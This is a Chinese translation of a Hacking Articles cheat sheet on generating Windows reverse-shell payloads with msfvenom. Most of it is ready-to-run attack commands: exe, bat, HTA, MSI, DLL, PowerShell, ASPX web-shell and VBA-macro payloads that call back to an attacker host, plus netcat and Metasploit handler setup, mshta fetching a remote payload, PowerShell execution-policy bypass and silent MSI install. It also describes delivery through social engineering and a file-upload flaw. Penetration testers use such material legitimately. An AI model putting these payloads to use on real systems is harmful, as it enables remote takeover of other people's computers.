MsfVenom速查表:Windows平台Payload生成指南

导语:MsfVenom是Metasploit框架中的独立Payload生成器,是msfpayload和msfencode的替代工具。本文详细介绍如何使用它生成针对Windows平台的各种攻击载荷——从可执行文件(exe)到动态链接库(DLL),从HTA到ASPX,应有尽有。


一、环境要求

  • Kali Linux
  • Windows靶机

二、MsfVenom语法

MsfVenom是Metasploit独立的Payload生成工具,同时作为msfpayload和msfencode的替代品。

MsfVenom语法

三、Payload及其类型

Payload是攻击者用来与目标机器交互并实现入侵的恶意脚本。MsfVenom支持以下平台和格式来生成Payload,输出格式可以是exe、php、dll等可执行文件,也可以是单行命令。

两大主要Payload类型:

Stager(分阶段载荷):以第二个斜杠标识,如 windows/meterpreter/reverse_tcp

Stageless(无阶段载荷):用下划线替代第二个斜杠,如 windows/meterpreter_reverse_tcp

Payload类型对比

四、可执行文件Payload(exe)

Payload类型:Stager

执行以下命令生成恶意exe文件,.exe是Microsoft Windows可执行文件的扩展名。

msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f exe > shell.exe

所有恶意代码会写入shell.exe文件,在目标机器上作为exe程序执行。

生成exe Payload

通过社会工程学手段传播文件,等待目标执行。同时启动netcat监听,捕获反向连接。

nc –lvp 443
netcat监听

五、PowerShell批处理文件

Payload类型:Stager

执行以下命令生成恶意batch文件,.bat扩展名用于DOS和Windows系统。

msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.3 lport=443 > shell.bat

所有恶意代码会写入shell.bat文件,在目标机器上作为.bat脚本执行。

生成bat Payload

通过社会工程学手段传播文件,等待目标执行。同时启动netcat监听。

nc –lvp 443
netcat监听

六、HTML应用程序Payload(HTA)

Payload类型:Stager

HTML应用程序(HTA)是微软Windows程序,源代码由HTML、动态HTML和一个或多个脚本语言(如VBScript或JScript)组成。

执行以下命令生成恶意HTA文件,.hta是DOS和Windows使用的扩展名。

msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f hta-psh > shell.hta

所有恶意代码会写入shell.hta文件,在目标机器上作为HTA脚本执行。使用Python HTTP Server进行文件分享。

生成HTA Payload

在目标机器执行:

mshta http://192.168.1.3/shell.hta

HTA通过mshta.exe程序或双击文件执行。

HTA执行效果

这将通过netcat监听器获取反向连接。

nc –lvp 443
netcat捕获连接

七、微软安装包Payload(MSI)

微软将Windows Installer称为Microsoft Installer。MSI文件提供某个安装程序的安装信息,如需要安装的程序。用户可以用它来安装Windows更新或第三方软件,类似于exe。

执行以下命令生成恶意MSI文件,系统在DOS和Windows中使用.msi扩展名。将恶意文件传输到目标系统并执行。

msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f msi > shell.msi
生成MSI Payload

使用msiexec命令运行MSI文件:

msiexec /quiet /qn /i shell.msi
执行MSI

这将通过netcat监听器获取反向连接。

netcat捕获连接

八、动态链接库Payload(DLL)

Payload类型:Stager

DLL是包含可被多个程序使用的代码和数据的库。

执行以下命令生成恶意dll文件,.dll是DOS和Windows使用的扩展名。将恶意文件传输到目标系统并执行。

msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f dll > shell.dll
生成DLL Payload

使用rundll32命令运行DLL文件:

rundll32.exe shell.dll,0
执行DLL

这将通过netcat监听器获取反向连接。

netcat捕获连接

九、PowerShell Payload(psh-cmd)

Payload类型:Stager

格式:psh、psh-net、psh-reflection或psh-cmd

psh、psh-net和psh-reflection格式生成的Payload扩展名为.ps1,psh-cmd格式生成的Payload扩展名为.cmd。你也可以直接在目标系统的命令提示符中直接执行原始代码。

msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.3 lport=443 -f psh-cmd > -f raw

执行以下命令生成恶意PowerShell程序的原始代码。

生成psh-cmd Payload

执行时,将生成的代码复制粘贴到Windows命令提示符中。

这将通过netcat监听器获取反向连接。

netcat捕获连接

十、PowerShell Payload(ps1)

Payload类型:Stager

PS1文件是Windows PowerShell使用的脚本或”cmdlet”。PS1文件类似于.BAT和.CMD文件,但它们在Windows PowerShell中执行,而不是在Windows命令提示符中执行。

执行以下命令生成恶意PS1脚本,.PS1扩展名用于Windows PowerShell。

msfvenom -p windows/x64/meterpreter_reverse_https lhost=192.168.1.3 lport=443 -f psh > shell.ps1

由于反向Shell类型是meterpreter,需要在Metasploit框架中启动exploit/multi/handler。

生成ps1 Payload

PowerShell的执行策略是一项安全功能,控制PowerShell加载配置文件和运行脚本的条件。该功能有助于防止执行恶意脚本,阻止所有脚本文件运行,包括格式化和配置文件(.ps1xml)、模块脚本文件(.psm1)和PowerShell配置文件(.ps1)。

要执行PS1脚本,需要通过在Windows PowerShell中运行以下命令来绕过执行策略:

PowerShell –ep bypass
./shell.ps1
绕过执行策略

启动Metasploit:

msfconsole
use exploit/multi/handler
set lhost 192.168.1.3
set lport 443
set payload windows/x64/meterpreter_reverse_https

当目标执行shell.ps1脚本后,攻击者将通过meterpreter session获得反向连接。

meterpreter session

十一、Web Shell Payload(ASPX)

Payload类型:Stageless

ASPX文件是微软ASP.NET平台的Active Server Page Extended文件。当访问URL时,这些页面会显示在用户的Web浏览器中,.NET Web表单是它们的另一个名称。

执行以下命令生成恶意aspx脚本,扩展名为.aspx。

msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.1.3 lport=443 -f aspx > shell.aspx
生成ASPX Payload

由于反向Shell类型是meterpreter,需要在Metasploit框架中启动exploit/multi/handler。

如果目标是IIS Web服务器,可以利用不受限制的文件上传漏洞来注入此Payload。

文件上传利用

在Web浏览器中执行上传的脚本。

浏览器执行
msfconsole
use exploit/multi/handler
set lhost 192.168.1.3
set lport 443
set payload windows/x64/meterpreter_reverse_https

攻击者执行恶意脚本后,将通过meterpreter session获得反向连接。

meterpreter session

十二、Visual Basic Payload(.vba)

Payload类型:Stageless

VBA是开发者常用的文件扩展名,与Visual Basic相关,支持微软应用程序如Microsoft Excel、Office、PowerPoint、Word和Publisher。用户用它来创建在Excel中运行的”宏”。攻击者利用这些特性,创建恶意VB脚本作为宏程序与Microsoft Excel一起执行。

执行以下命令生成恶意脚本,扩展名为.vba,可以在Microsoft Excel中作为宏执行。

msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.1.3 lport=443 -f vba
生成VBA Payload

然后打开包含恶意宏的工作簿。宏执行的详细方法在之前的文章中有说明。

Excel宏执行
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 192.168.1.106
set lport 1234
exploit

攻击者执行恶意脚本后,将通过meterpreter session获得反向连接。

meterpreter session

出处:本文译自 Hacking Articles,原始文章《MsfVenom Cheatsheet: Generating All Types of Payloads》,作者 Aarti Singh。

© 版权声明
THE END
喜欢就支持一下吧
点赞12 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容